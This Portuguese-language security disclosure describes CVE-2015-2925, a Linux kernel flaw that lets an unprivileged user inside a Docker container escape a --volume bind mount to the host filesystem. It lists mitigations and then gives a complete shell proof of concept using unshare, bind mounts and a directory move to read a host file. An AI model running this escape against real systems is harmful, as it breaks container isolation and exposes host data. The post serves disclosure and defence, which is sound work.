Docker + CVE-2015-2925 = escape do --volume

Vulnerabilidade recente no Linux conhecida por cerca de metade do ano (vários meses publicamente) tornou possível escapar de bind mounts. Em particular, no caso do Docker, é possível escapar de dentro do diretório montado via opção --volume para o sistema de arquivos do host apropriado.

A Equipe de Segurança do Docker já está ciente do problema e permitiu publicar isso para atrair a atenção pública.

Agradecimentos a Jann Horn por apontar isso, basicamente eu apenas reproduzi.

Mitigação

Qualquer um destes será suficiente:

• Kernel com AppArmor habilitado e perfil AppArmor do Docker
• Kernel com SELinux habilitado e política SELinux do Docker
• Namespaces de usuário desabilitados no kernel

Notas

• Isso não foi corrigido upstream e nas distros ainda e deve funcionar em qualquer kernel recente
• Isso não requer root dentro do contêiner
• As distros fornecem versões diferentes do pacote util-linux do qual unshare(1) faz parte e pode retornar "Operation not permitted" no seu caso; o pacote do Debian Jessie foi testado e funcionou conforme esperado

Prova de conceito

# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped